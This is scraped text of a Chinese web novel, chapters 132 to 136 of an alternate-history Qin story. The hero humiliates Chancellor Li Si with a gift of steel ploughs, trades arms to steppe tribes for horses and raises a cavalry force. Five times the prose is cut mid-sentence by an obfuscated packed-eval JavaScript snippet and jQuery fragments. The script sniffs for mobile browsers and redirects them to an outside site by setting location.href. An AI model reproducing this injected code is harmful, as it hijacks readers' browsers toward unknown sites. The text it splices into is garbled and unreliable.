“就说,九原顾右庶长听闻丞相病重,心急如焚,特献上‘顾公犁’百架,愿丞相大人早日康复,莫要因操劳国事而伤了身子,以致被奸人蒙蔽,误国误民。” 第132章 献犁相府羞李 斯 第一百三十二章献犁相府羞李斯 咸阳城,这座大秦帝国的中心,最近的天气和丞相李斯的心情一样,阴沉得能拧出水来。 然而,一桩从北地传来的奇闻,却像一道顽皮的阳光,硬是撕开了这片愁云惨雾,给满城百姓和官吏们的生活,增添了几分意想不到的佐料。 “听说了吗?九原那位顾右庶长,听说咱们相爷病了,特地派人送了一百架‘顾公犁’来,说是给相爷补身子!” “补身子?犁头怎么补身子?莫不是让相爷下地干活,活动活动筋骨?” “你懂什么!这叫‘**不见血,诛心不用刀’!相爷不是封锁人家,不让人家用铁吗?人家现在自己炼出更好的钢,打成犁头送上门来,这不是当着全天下人的面,抽相爷的脸吗?” “哎哟,这么一说,这顾右庶长,胆子也忒大了!” “胆子大?人家那是仁义!没听那歌谣唱吗?‘秦法猛于虎,顾公恩如父’!我看啊,这犁是送给相爷的,更是送给咱们咸阳百姓看的!” 流言蜚语,在咸阳的街头巷尾发酵,最后竟真的变成了现实。 一支由数十辆大车组成的商队,浩浩荡荡地从城北门驶入,车上装载的,正是一百架崭新的曲辕犁。 那乌黑的犁身,配上闪着雪亮寒光的犁头,在咸阳城的青石板路上,反射出令人心悸的光芒。 商队为首的,正是独眼龙李山河。 他换上了一身干净的行头,脸上没了山野的悍气,倒像个精明的大管事。 他高举着一面旗幡,上面龙飞凤舞地写着四个大字:“恭贺康复”。 队伍不急不缓,绕着咸阳最繁华的几条街走了一圈,最后,在无数双眼睛的注视下,稳稳当当地停在了丞相府那气派非凡的大门前。 丞相府的门房和护卫们都傻眼了。 他们接到的命令是严防死守,可没接到过有人会用犁头来攻城的。 李山河翻身下马,对着紧闭的朱漆大门,朗声喊道:“九原郡右庶长顾清寒,听闻丞相大人为国操劳,偶感风寒,心急如焚。特命小人献上‘顾公犁’一百架,此犁乃天工山精钢所铸,利可开山,坚可摧石。愿丞相大人早日康复,手握此犁,如掌神兵,日后更能明辨忠奸,为大秦开万世太平!” 这番话说得是字正腔圆,中气十足,半条街的人都听得清清楚楚。 人群中,瞬间爆发出压抑不住的窃笑声。 丞相府内,李斯正端着一碗汤药,听着心腹的汇报。 当听到李山河那番话时,他端着碗的手猛地一抖,滚烫的药汁洒在手背上,他却浑然不觉。 “欺人太甚!欺人太甚!”李斯那张因病容而略显苍白的脸,涨成了猪肝色。 他病了? 他是被气的! 他吐血了? 他也是被气的! 现在,那个罪魁祸首,竟然还派人送来一百架犁头,祝他康复? 这已经不是羞辱了,这是把他李斯的脸皮,按在地上,用那锋利的犁头来回地耕! 一名幕僚急道:“相爷,不能收!这要是收了,咱们丞相府的脸面就丢尽了!” “不收?”另一名幕僚愁眉苦脸,“不收,岂不是坐实了您气量狭小,嫉贤妒能?外面的人只会说,您是心虚,不敢面对顾清寒的‘忠心’。” 收,是奇耻大辱。 不收,是欲盖弥彰。 李斯感觉自己被架在了一个烧得通红的铁犁头上,上下不得,只能眼睁睁地看着自己的尊严被烤成焦炭。 他死死地攥着拳头,指甲深陷入掌心,一字一顿地从牙缝里挤出几个字:“开……中门。让他……进来。收下!” …… 赵正下榻的客栈,早已被陆佩奇的人暗中包下。 此刻,二楼的雅间内,嬴政正捻着一枚黑子,听着陆佩奇绘声绘色的描述。 当听到李山河那番“明辨忠奸,开万世太平”的祝词时,嬴政再也忍不住,手里的棋子一松,发出“啪”的一声轻响。 他先是愣了一下,随即爆发出一阵惊天动地的大笑。 “哈哈哈哈……好!好一个明辨忠奸!好一个开万世太平!这小子,是把犁头当国之重器,把祝寿当谏言奏章送上去了!哈哈哈哈……” 他笑得前仰后合,眼角甚至渗出了泪花。 陆佩奇站在一旁,眼角狂抽。 他已经不知道该用什么词来形容自己的心情了。 陛下这是在欣赏,在赞许! 他在赞许自己的孙子,用一种近乎无赖却又无比高明的方式,羞辱当朝丞相。 “陛下,”陆佩奇的声音有些干涩,“顾少此举,虽解一时之气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721468|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但如此羞辱丞相,怕是……会彻底激怒李斯,引来更疯狂的报复。” “报复?”嬴政笑声渐收,眼中却闪烁着骇人的精光,“一条被拔了牙,捆住四肢的狗,除了叫得更凶,还能做什么?清寒这一手,看似顽童胡闹,实则狠辣至极。他这是在告诉满朝文武,告诉天下人,他顾清寒,有能力让李斯难受,而李斯,却拿他毫无办法。” 他顿了顿,端起茶杯,吹了吹热气,语气变得悠远:“他这是在立威。杀鸡儆猴的威,是匹夫之勇。这种**不见血,让人有苦说不出的威,才是为君者该有的手段。朕的这个孙儿,比朕想象中,学得更快。” 陆佩奇低下头,心中只有一个念头:可怜的**。他面对的,根本不是一个,而是一老一小两只狐狸。 丞相府的中门,缓缓打开。 在无数道目光的注视下,李山河指挥着手下,将一百架顾公犁整整齐齐地码放在了丞相府宽阔的前院里。 那黑黝黝的犁身和雪亮的犁头,在相府朱红的梁柱和金色的匾额映衬下,显得格外刺眼,像是一场盛大葬礼上,摆放错了的祭品。 李斯站在正堂的屋檐下,隔着遥远的距离,冷冷地看着这一切。 他看到李山河在交接完毕后,对着他的方向,恭恭敬敬地行了一个大礼,然后转身,在万众瞩目中,扬长而去。 那背影,在李斯眼中,嚣张到了极点。 “相爷……”管家小心翼翼地走上前来,“这些……这些东西,如何处置?” 如何处置? 当柴烧? 这一百架精钢犁头,能把府里的斧子都崩坏了。 熔了? 他李斯上哪找这么大的炉子去? 难道要送去少府监,让那些工匠看他的笑话? 赏给下人? 这是在提醒他们,他们的主子被人用犁头羞辱了吗? 李斯死死地盯着院中那一百架沉默的凶器,它们仿佛在无声地嘲笑着他的无能与失败。 许久,他缓缓吐出一口浊气,声音沙哑得如同被砂纸磨过一般。 “找个库房,封起来。任何人,不得靠近,不得议论。” 他转身,背影萧索地走回了昏暗的后堂。 那一刻,这位权倾朝野的大秦丞相,看上去,竟像是一头瞬间苍老了十岁的困兽。 第133章 粮草满仓兵甲新 第一百三十三章粮草满仓兵甲新 咸阳城里,那一百架犁头所引发的风波,远比李斯咳出的那口血,要来得绵长。 丞相府的门前,成了咸阳一景。 总有些好事者,会绕个远路,从那紧闭的朱门前走过,对着里面指指点点,然后发出一阵心照不宣的低笑。 “听说了么,相爷府里开了个农具铺子。” “嘘,小声点!我可听说了,那犁头金贵着呢,是相爷的‘镇府之宝’,谁敢乱嚼舌根,当心被抓去用那犁头开垦一番。” 这些话,像是长了脚的虫子,钻进了咸阳大大小小的官邸府院。 昔日里对李斯趋之若鹜的官员们,如今见了面,眼神都变得有些古怪。 大家心照不宣地避开了任何与“犁”、“九原”、“养病”相关的字眼,但这刻意的回避,本身就是一种更响亮的嘲讽。 赵正下榻的客栈内,依旧是那盘下不完的棋。 陆佩奇刚从外面回来,带回了最新的市井传闻,他脸上的神情有些复杂:“陛下,如今咸阳城里,都在看丞相的笑话。顾少这一手,虽是出了恶气,但把李斯逼到这个份上,怕是结下了不死不休的死仇。” “死仇?”嬴政落下一子,发出清脆的响声,他头也没抬,“他顾清寒从想**的那天起,跟李斯,跟这朝堂,就已经是死仇了。既然是死仇,还讲什么分寸?” 他抬起眼,浑浊的眸子里透着一股洞悉一切的锐利:“清寒这一手,妙就妙在,他不是在跟李斯一个人斗气。他是在告诉全天下的官、全天下的民,一个道理。” 嬴政端起茶杯,轻轻吹了吹热气:“权势,不只在咸阳的宫殿里,不只在丞相的印信上。权势,也可以在九原的铁炉里,在百姓的饭碗里。李斯想用他的权势,让顾清寒饿死。顾清寒就用自己的权势,给李斯送去了一百个难堪。” 他笑了笑,那笑容里带着几分自得,像是在夸赞一个出息了的晚辈:“当所有人都觉得,你的权势能让他们吃饱饭,而别人的权势只会让他们挨饿时,这天下,谁说了算,还用问吗?” 陆佩奇躬身,不再言语,心中却是一片骇然。 陛下这番话,已经不是在点评计谋得失了。 他是在阐述君王之道,是在为那个远在九原的孙儿,亲手铺就通往权力之巅的道理。 …… 当李斯被气得闭门谢客,在府中对着一百架犁头生闷气的时候,九原郡却迎来了一个前所未有的丰收季。 郡守府的粮仓前,人声鼎沸。 一车车金黄的麦子被运送过来,颗粒饱满,沉甸甸地压弯了车辕。 负责计量的书吏,脸上挂着笑,手里的算筹却拨得飞快,额头上满是汗水。 “顾少!发了!咱们发了!” 牛辅光着膀子,扛着一麻袋粮食,像扛着一捆稻草般轻松,他跑到顾清寒面前,兴奋得满脸通红。 “俺种了一辈子地,就没见过这么好的收成!那些新开的荒地,用了‘顾公犁’,一亩地产的粮食,比得上关中上好的良田了!这才第一批,后面的收成都运来,咱们的粮仓怕是都装不下!” 他把麻袋往地上一扔,拍着胸脯,唾沫横飞:“顾少,有这么多粮食,咱们破阵营再扩充一倍,不,扩充两倍!都饿不着!” 顾清寒看着那堆积如山的粮垛,看着手下士兵们脸上那发自内心的喜悦,心中也涌起一股前所未有的踏实感。 这,才是他想要的根基。 “粮食多了,是好事。” 文远站在一旁,递上一份刚刚统计出的文书,神情沉静,“主公,有了这些粮食,我们不仅可以自给自足,甚至可以拿出一部分,通过‘赵家商号’的渠道,去跟草原上的部落,换取他们最缺的战马和牛羊。” 顾清寒点了点头,目光从粮仓转向了远处烟火冲天的工坊区。 “粮草已足,兵甲也要换新了。” 天工坊内,公输墨像是找回了青春。 他骂骂咧咧的声音,比那水力锻锤的轰鸣声还要响亮。 “蠢货!淬火的时机!老夫跟你说过多少遍了!差一息,这甲片的韧性就差了一大截!这**是给弟兄们保命的东西,不是给你家烧火的铁片!” 他赤着上身,手里拿着一把新出炉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721469|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环首刀,刀身笔直,在火光下流转着一层如水波般的锻造纹理。 “当!” 公输墨随手一挥,环首刀劈在一旁用来试刀的铁砧上,竟迸发出一串火星,刀刃却丝毫无损。 “好刀!”旁边围观的工匠们发出一阵喝彩。 “好个屁!”公输墨吹胡子瞪眼,“这才是开始!顾小子说了,要让咱们破阵营的弟兄,人手一刀,外加一身锁子甲!你们都给老夫打起精神来,谁敢偷懒,老夫就把他塞进炉子里回炉重造!” 几日后,破阵营的练兵场上。 士兵们换上了崭新的装备,一个个挺胸凸肚,精神抖擞。 黑色的锁子甲,由无数个小铁环扣合而成,紧密贴身,在阳光下泛着幽幽的冷光。 手中那柄天工刀,比过去秦军制式的青铜长剑更长,也更轻韧。 “都给老子站直了!”牛辅站在高台上,声如洪钟,“看看你们身上穿的,手里拿的!这甲,刀劈不进!这刀,削铁如泥!吃着最饱的饭,用着最利的刀,要是还打不赢,你们自个儿抹脖子,别回来见老子!” 他从一名亲卫手中拿过一把旧式的青铜剑,又拿起一把天工刀。 “看好了!” 他左手持剑,右手持刀,猛地对劈! “锵!” 一声脆响,那柄坚固的青铜剑,竟应声而断,半截剑身打着旋飞了出去,落在地上。 而天工刀的刀刃上,只有一个几乎可以忽略不计的微小白点。 全场死寂。 随即,爆发出震天的狂吼! “破阵!破阵!有死无生!” 士兵们的眼中,充满了对胜利的渴望和对身上这套装备的绝对信任。 书房内,顾清寒在沙盘上,将代表破阵营的黑色小旗,又加厚了一倍。 “文远,”他看着地图,手指从九原,划向了北方的草原,又延伸至西边的河西走廊,“李斯以为,他封锁的是一座孤城。” 他抬起头,眼中闪烁着自信的光芒。 “他错了。他亲手逼我们,在这北疆,建起了一座,他再也推不倒的王国。” 第134章 草原为马场 天下作棋盘 第一百三十四章草原为马场天下作棋盘 九原的冬天来得早。 第一场雪落下时,郡守府的粮仓已经满得快要溢出来,而天工坊的炉火,映红了半边夜空。 书房内,火盆里的炭火烧得正旺。 顾清寒、文远、牛辅三人围着一张巨大的沙盘,沙盘上,九原郡的地形纤毫毕现,但众人的目光,却都投向了沙盘之外,那片代表着茫茫草原的空白区域。 “主公,粮草兵甲皆已齐备,我九原如今兵强马壮,可为之事甚多。” 文远的声音一如既往的平静,他用一根细长的木杆,指向了草原深处,“然,破阵营虽勇,却多为步卒。若要与匈奴争锋,若想真正驰骋北疆,我等必须有一支强大的骑兵。” 牛辅一听这话,眼睛都亮了,蒲扇般的大手在自己锃亮的锁子甲上拍得“哗哗”作响:“文先生说得对!顾少,给咱们换马!换最好的草原马!俺早就看匈奴那些骑兵不顺眼了,来去如风,滑不溜丢的。要是咱们也有那样的快马,俺保证把他们连人带马,都给捅个对穿!” 顾清寒笑了笑,没有立刻回答。 他从桌上拿起一颗新铸的马蹄铁,铁质乌黑,设计精巧,比时下任何一种护马蹄的装置都要先进。 “马,自然是要换的。但光有马还不够,我们还要有能让马跑得更快、跑得更远的利器。” 他将马蹄铁放在沙盘上,“文远,你觉得,我们的粮食和兵器,在草原上能值多少匹马?” 文远沉吟片刻:“主公,草原上最缺的,无非三样:盐、铁、粮。如今我们三样皆有,且品质远胜关中。若论价值,一石粮食,在丰年可换半只羊,在灾年,可换一条人命。而我们的一柄天工刀,在那些部落头人眼中,恐怕比十个美女更有吸引力。以此去换马,草原上的马,任我等挑选。” “好!”顾清寒将马蹄铁往前一推,“那就让草原,变成我九原的马场!牛辅!” “末将在!” “你亲率五百破阵营精锐,护送一支商队,北出长城。商队里,装满粮食、食盐,还有一百套我们新出的甲胄兵器。”顾清寒的目光变得锐利,“这次去,不只是做买卖,也是去扬威。我要让草原上所有的部落都看看,我九原的兵,是什么样的兵;我九原的刀,是什么样的刀!” 牛辅兴奋得脸膛发紫,猛地一捶胸甲,大声应道:“遵命!保证让那些牧民蛋子,把咱们当神仙一样供起来!” “还有一件事,”顾清寒看向文远,“给乌桓的哈丹长老送一份厚礼。告诉他,他的朋友发财了,请他来喝酒吃肉,顺便……帮我们引荐一些想发财的新朋友。” 数日后,一支奇特的队伍,在九原百姓的夹道欢送中,浩浩荡荡地向北开拔。 队伍的最前方,是五百名身披黑色锁子甲、腰挎环首刀、手持精钢长矛的破阵营士兵。 他们步伐整齐,杀气腾腾,那身在阳光下闪着寒光的甲胄,让每一个看到的人都心头发颤。 队伍的中间,是上百辆装得冒尖的大车,车上是金黄的粮食和雪白的盐包。 而队伍的最后,几辆被油布盖得严严实实的车上,隐隐透出兵器的轮廓。 这支队伍,不像商队,更像一支移动的钢铁堡垒。 消息很快传到了草原上。 乌桓部落的营地内,阿**正陪着哈丹长老,看着远处那支缓缓接近的队伍,脸上的神情,是混杂着敬畏与狂喜的复杂。 “长老,您看……”阿**的声音有些发干,“这就是顾右庶长派来的队伍。” 哈丹长老那双饱经风霜的眼睛眯成了一条缝。 他看到了那些士兵身上从未见过的精良铠甲,看到了他们手中那闪着寒光的武器,更闻到了空气中飘来的,属于粮食的香气。 当牛辅骑着高头大马,来到他们面前,身后士兵的长矛如林,甲胄森然时,哈丹长老再也无法保持镇定。 他快步上前,对着牛辅,行了一个草原上对最尊贵客人才能行的大礼。 牛辅翻身下马,咧嘴一笑,露出一口白牙。 他学着顾清寒的样子,拱了拱手,嗓门却如同打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721470|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷:“哈丹长老,俺叫牛辅。俺们顾少说了,好东西不能自己藏着,特地叫俺给长老和草原上的朋友们送点过冬的口粮和防身的家伙。” 他说着,一挥手,身后的士兵立刻将几口大箱子抬了上来。 箱子打开,一套完整的锁子甲和一柄天工刀,静静地躺在其中,那逼人的锐气,让周围的乌桓勇士都下意识地后退了一步。 哈丹长老颤抖着伸出手,抚摸着那冰冷的刀身,又拿起那件分量十足却又无比柔韧的锁子甲,浑浊的老眼中,泪光闪烁。 他猛地抬头,看着牛辅:“顾右庶长……他……他要什么?” 牛辅哈哈大笑:“俺们顾少说了,粮食和盐,用牛羊马匹来换,价格公道。至于这神兵利器嘛,他不要钱,只要朋友!” 当晚,乌桓部落点起了最旺的篝火,烤起了最肥的牛羊。 不仅仅是乌桓,周围七八个与乌桓交好的部落头人,闻讯后也连夜赶来。 当他们亲眼看到天工刀能轻易斩断他们最坚硬的弯刀,亲身体会到锁子甲连箭矢都难以射穿时,所有人都疯狂了。 他们看着牛辅和他身后的那五百名如同天兵下凡的士兵,眼神里充满了贪婪和渴望。 “牛将军!”一名部落头人端着酒碗,激动地说道,“只要顾右庶长肯卖给我们这样的兵器,我愿意献出我部族里最好的三千匹战马!” “我出五千匹!” “我部落里所有的牛羊,都可以跟顾右庶长换!” 牛辅看着这群情激奋的场面,心里乐开了花,嘴上却摆出一副为难的样子:“这个嘛……俺也做不了主。俺们顾少说了,这些宝贝疙瘩,只送给真正的朋友。” 哈丹长老立刻会意,他站起身,大声道:“我们,都是顾右庶长的朋友!我们愿意奉顾右庶长为我们草原南方的雄鹰!我们愿意追随他,去对付我们共同的敌人——匈奴人!” “对!对付匈奴人!” 看着这群已经被利益和力量彻底征服的部落头人,牛辅知道,顾少交代的任务,超额完成了。 第135章 胡萝卜与大棒 第一百三十五章胡萝卜与大棒 咸阳,赵正下榻的客栈。 顾清寒又来了,这次他没带酒,而是带了一张羊皮地图和一份长长的清单。 “赵老伯!大生意!天大的生意!” 他一进门就嚷嚷开了,脸上那股子得意劲,连陆佩奇都觉得有些晃眼。 嬴政正拿着一块布,慢悠悠地擦拭着一柄古朴的青铜剑,闻言抬了抬眼皮:“哦?看你这模样,是把你那些犁头,卖出金子的价钱了?” “犁头算什么!”顾清寒把羊皮地图“哗啦”一声铺在桌上,指着上面星星点点的标记,“老伯您看,这些,全都是想跟我做生意的草原部落!他们哭着喊着要把牛马送给我,只求换我几把破刀烂铁!” 他把那份清单拍在地图上:“这是我跟他们谈好的价钱,三万匹战马,十万头牛羊!换我一千套兵甲和十万石粮食!老伯,您说,这生意做得过吗?” 陆佩奇在一旁听得心惊肉跳。 三万匹战马! 这足以组建一支横扫六国的无敌骑兵了! 这小子,当着陛下的面,这么炫耀自己的扩军成果,他真的不怕死吗? 嬴政擦剑的动作停了下来。 他看着那张地图,又看了看那份清单,浑浊的老眼中,闪过一丝赞许。 “生意倒是不错。”嬴政放下剑,端起茶杯,看似随意地问道,“只是,草原上的狼,可不是家犬。今天他们能为了你的刀,奉你为雄鹰。明天,他们也能为了别人的刀,反过来咬你一口。你这个东家,就不怕养出一群白眼狼?” 顾清寒嘿嘿一笑,凑了过去,压低了声音:“老伯高见!小侄也正为此事犯愁呢。您是经过大风大浪的,见识比我多。您说,对付这群不听话的伙计,是该多给好处笼络呢,还是该时不时敲打敲打,让他们知道谁才是东家?” 陆佩奇的胃又开始疼了。 疯了。 这顾少,竟然在向大秦的始皇帝,请教如何驾驭异族、巩固统治的帝王之术。 而他请教的目的,是为了更好地造大秦的反。 嬴政瞥了顾清寒一眼,嘴角勾起一抹玩味的弧度。 他放下茶杯,伸出两根手指。 “胡萝卜,加大棒。” 他用指节敲了敲桌子,声音不大,却带着一种不容置疑的威严,“给他们好处,让他们离不开你。谁听话,就让他吃得比别人饱,穿得比别人暖,让他手里的刀,比别人的快。谁不听话,就让那些听话的,去打他,去抢他。打完了,你这个东家再出来做好人,安抚安抚,分分战利品。” 他顿了顿,拿起那柄青铜剑,剑锋在烛火下泛着冷光:“你要让他们明白一个道理。跟着你,有肉吃。背叛你,连骨头都剩不下。而决定谁吃肉、谁啃骨头的权力,必须牢牢攥在你自己的手里。” 顾清寒听得两眼放光,一拍大腿:“高!实在是高!老伯,您要是不当这生意人,去当个将军,绝对能封万户侯!” 嬴政笑了笑,没再说话,只是重新拿起布,细细地擦拭着那柄见证了无数杀伐的古剑。 陆佩奇站在阴影里,感觉自己浑身的血液都快凝固了。 陛下,您教的这些……是屠龙术啊。 而您,就是那条龙。 从赵正的客栈出来,顾清寒感觉自己浑身三万六千个毛孔都透着舒坦。 赵老伯那番“胡萝卜加大棒”的理论,简单粗暴,却直指核心,仿佛一瞬间就为他拨开了草原上那纷繁复杂的迷雾。 他不再纠结于如何与那些部落头人称兄道弟,而是开始思考,该先喂饱哪匹狼,又该先敲断哪匹狼的腿。 半个月后,九原郡北门大开。 一股由无数牛、羊、马汇成的洪流,浩浩荡荡地涌入郡内。 走在最前面的,是三万多匹神骏非凡的草原战马,它们膘肥体壮,四蹄矫健,眼中带着野性的光。 跟在后面的,是超过十万头的牛羊,咩咩哞哞的叫声汇成一片,充满了丰收的喜悦。 牛辅骑在一匹神骏的黑马王上,黝黑的脸膛笑成了一朵绽放的菊花,他那件威风凛凛的锁子甲外面,还挂着七八个草原部落送的各色狼牙、宝石挂件,叮叮当当,活像个移动的杂货铺。 “顾少!发了!咱们真的发了!” 人还没到跟前,牛辅雷鸣般的嗓门就先到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721471|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,“俺就按您说的,把刀一亮,把粮一分,那些部落头人就跟疯了一样,哭着喊着要把自家闺女嫁给俺!俺寻思着,这活儿可不能干,就只要了他们的马!” 周围的士兵和百姓都哄笑起来,看着那望不到头的牲畜洪流,每个人的眼睛里都闪烁着光。 这哪里是做生意,这分明是把整个草原的家底都搬了回来! 顾清寒站在城楼上,看着这壮观的一幕,心中豪情万丈。 他拍了拍身旁文远的肩膀:“文远,看到没有?这就是咱们的底气!” 文远看着下方,眼神同样炽热,他躬身道:“主公以粮草兵甲为饵,钓起的,是整个北疆的未来。属下这就去安排,将这些战马整编,牛羊入栏。我九原,从此不缺肉食,不缺战马!” “不光要整编,”顾清-寒的目光落在那些神骏的战马身上,眼中闪过一丝精光,“还要让它们,变成这世上最快的刀!去把公输大匠请来,告诉他,他的新活儿来了。” 公输墨被请到马场时,一脸的不情不愿,嘴里还骂骂咧咧的,说自己是打铁的,不是喂马的。 可当顾清寒将一张画满了各种马具——马蹄铁、**马鞍、双边马镫的图纸铺在他面前时,老公输的眼睛瞬间就直了。 他拿起那张图纸,像是捧着绝世珍宝,手指在上面一寸寸地摩挲,嘴里喃喃自语:“鬼斧神工……鬼斧神工啊!有了这三样东西,骑兵坐在马上,就跟长在上面一样!冲锋陷阵,双脚还能借力,这……这简直是要骑兵的命,变成要敌人命的催命符啊!” “怎么样,大匠,干不干?”顾清寒笑问。 “干!为什么不干!”公-输墨把图纸往怀里一揣,吹胡子瞪眼道,“这活儿老夫接了!不过我可告诉你,打造这些东西,耗费的精钢可不少!你小子别到时候又哭穷!” “放心,”顾清寒负手而立,豪气干云,“天工山的铁,管够!我要在开春之前,组建一支三千人的重骑,人人披锁子甲,马配三件套,刀用天工刀。这支骑兵,就叫‘玄甲军’!” “玄甲军!”这三个字,仿佛带着金戈铁马之声,让在场所有人都热血沸腾。 …… 第136章 玄甲出关 狼王闻腥 第一百三十六章玄甲出关狼王闻腥 咸阳,客栈内。 陆佩奇躬身站在一旁,面色凝重地汇报着九原的最新动向,连声音都带着一丝不易察觉的颤抖。 “陛下,根据密报,顾少……顾清寒已从草原换回战马三万余匹,牛羊十万头。如今正在九原整编骑兵,命名为‘玄甲军’,并令公输墨打造一种全新的马具……” 三万匹战马! 这个数字,像一座大山,压在陆佩奇的心头。 这不是小打小闹的乡勇,也不是占山为王的流寇。 这是一支足以横扫六国,问鼎中原的铁骑! 他本以为,陛下听到这个消息,就算不雷霆震怒,也该有所警觉。 然而,嬴政只是静静地听着,手中那柄古朴的青铜剑,不知何时已经入鞘。 他没有愤怒,没有惊讶,浑浊的老眼中,反而流露出一丝近乎欣慰的笑意。 “很好。”他缓缓吐出两个字,然后抬眼看向心神不宁的陆佩奇,“怎么,怕了?” 陆佩奇心中一凛,连忙垂首:“属下……属下只是担心,顾少年纪尚轻,手握如此重兵,恐……恐会行差踏错。” “行差踏错?”嬴政轻笑一声,站起身,走到窗边,望着远方九原的方向,“一头只知吃肉的虎崽,不过是只养肥了的猫。唯有学会了捕猎,学会了用爪牙去撕碎敌人,才算得上是真正的山中之王。” 他转过身,目光深邃如海:“朕倒是很想看看,他这头刚刚亮出爪牙的小老虎,想捕的第一个猎物,是谁。” 陆佩奇不敢再言语,额头却已渗出细密的汗珠。 他听懂了。陛下不仅不阻止,甚至还在期待。 他在期待着自己的孙儿,用他亲手送过去的兵甲粮草,用他亲自指点的权谋之术,去掀起一场滔天巨浪。 而这场巨浪,第一个要拍碎的,或许就是大秦的江山。 仿佛是为了印证嬴政的话,顾清寒这边,麻烦与机遇,同时找上了门。 一名风尘仆仆的乌桓信使,被阿**亲自带到了郡守府。 “顾右庶长!”信使“噗通”一声跪倒在地,声音悲怆,“匈奴的右贤王,带着三万铁骑,突然南下,攻破了我们东边附属于您的‘呼衍部’!呼衍部全族被屠,牛羊马匹被抢掠一空!右贤王放出话来,说所有与南边汉人做生意的部落,都是匈奴的叛徒,都要被他的马蹄踏平!” 书房内的气氛瞬间凝固。 牛辅猛地一拍桌子,怒吼道:“**!这帮匈奴杂碎,是看咱们发了财,眼红了!这是在打咱们的脸!” 文远却显得很冷静,他走到地图前,沉声道:“主公,这是匈奴的试探,也是对您的挑战。呼衍部是第一个公开宣誓效忠您的草原部落,他们被屠,草原上所有眼睛都在看着您。您若是不管,那您在草原上用粮食和兵器建立起来的威信,顷刻间便会土崩瓦解,再也没人敢跟我们做生意。” “管!怎么能不管!”牛辅急道,“顾少,下令吧!俺这就带破阵营的弟兄们去!把那狗屁右贤王的脑袋拧下来当球踢!” 顾清寒没有说话,他只是静静地看着地图上那个血红的标记,手指轻轻敲击着桌面。 他想起了赵老伯的话。 “谁不听话,就让那些听话的,去打他,去抢他。” 现在,是匈奴人不听话了。 而他,作为草原南边所有部落的新“东家”,是时候该亮出自己的大棒了。 “传我将令!”顾清寒的声音不大,却清晰地传到每一个人的耳中,带着一股不容置疑的决断。 “牛辅!” “末将在!” “你率破阵营步卒五千,即刻出发,为全军先锋!” “文远!” “属下在!” “你坐镇九原,总领后勤,确保粮草兵甲供应无虞。” 顾清寒的目光,最后落在了那面崭新的“玄”字大旗上,眼中战意升腾。 “玄甲军,披甲上马!”他一字一句,声音如铁,“匈奴人想看我的态度,我就给他们一个永世难忘的态度!” “此战,我要让整个草原都知道,谁才是这片土地上,真正的主人!” 九原郡的冬日,空气冷冽如刀。 但城中的气氛,却比天工坊的熔炉还要炙热。 没有战前的恐慌,没有悲戚的送别。 城门口,百姓们自发地提着热汤和烙饼,塞到即将出征的士兵手里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721472|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们的眼神里,没有对战争的恐惧,只有一种朴素的、被冒犯后的愤怒。 “打!狠狠地打!让那帮草原的杂碎知道,咱们九原的人,不是好欺负的!” “张二狗,你小子给我精神点!别丢了咱们顾公的脸!” 在山呼海啸般的助威声中,一支军队正在缓缓集结。 玄甲军。 三千名骑士,静默如林。 他们身上穿着的,不再是寻常的皮甲或铁片甲,而是一整套由细密铁环扣合而成的黑色锁子甲,从脖颈覆盖到膝盖,在冬日惨白的光线下,泛着幽沉的冷光。 他们跨下的战马,神骏异常,四蹄上都钉着崭新的马蹄铁。 